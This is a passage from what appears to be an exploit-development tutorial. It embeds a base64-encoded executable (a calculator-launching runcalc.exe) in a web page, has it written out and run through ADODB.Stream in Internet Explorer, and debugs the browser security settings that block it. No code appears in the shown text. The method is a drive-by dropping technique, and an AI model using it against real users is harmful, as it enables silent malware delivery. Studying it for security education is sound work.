Change the project properties as follows:

  • [Release]
    • Configuration Properties
      • C/C++
        • Code Generation
          • Runtime Library: Multi-threaded (/MT)

This will make sure that the runtime library is statically linked (we want the exe file to be standalone). Build the Release version and you should have a 68-KB file. Mine is named runcalc.exe.

Now encode runcalc.exe in base64 with a little Python script:

Now copy and paste the encoded data into the javascript code above so that you have

I snipped the string because too long, but you can download it here: runcalc.

Open the html file in IE and you’ll see that the calculator doesn’t pop up. To see what’s wrong, open the Developer Tools (F12), go to the Console tab and then reload the page. Here’s what we get:

pic_30
The problem is that Microsoft decided to disable ADODB.Stream in Internet Explorer because ADODB.Stream is intrinsically unsafe. For now, let’s reenable it by using a little utility called acm (download).

Install acm, run it and enable ADODB.Stream like shown in the following picture:

pic_31
Now restart IE and open the html file again. This time the calculator will pop up!

The problems are not over, unfortunately.

Download an utility called SimpleServer:WWW from here: link.

We’re going to use it to run the html file as if it were served by a web server. SimpleServer is easy to configure. Just create a folder called WebDir on the Desktop, copy the html file into that folder, then run SimpleServer and select the html file like indicated in the following picture:

pic_32
Then click on Start. Now open IE and open the page at the address 127.0.0.1. The calculator won’t pop up. Once again, use the Developer Tools to see what’s wrong:

pic_33
It seems that things work differently when we receive a page from a server.

Change the settings as shown in the following picture:

pic_34
Reload the page and you should see another error:

pic_35
OK, now is time to solve all these problems. Reset all the settings in IE and disable again ADODB.Stream with the utility acm. Here’s the full code we’re going to work on: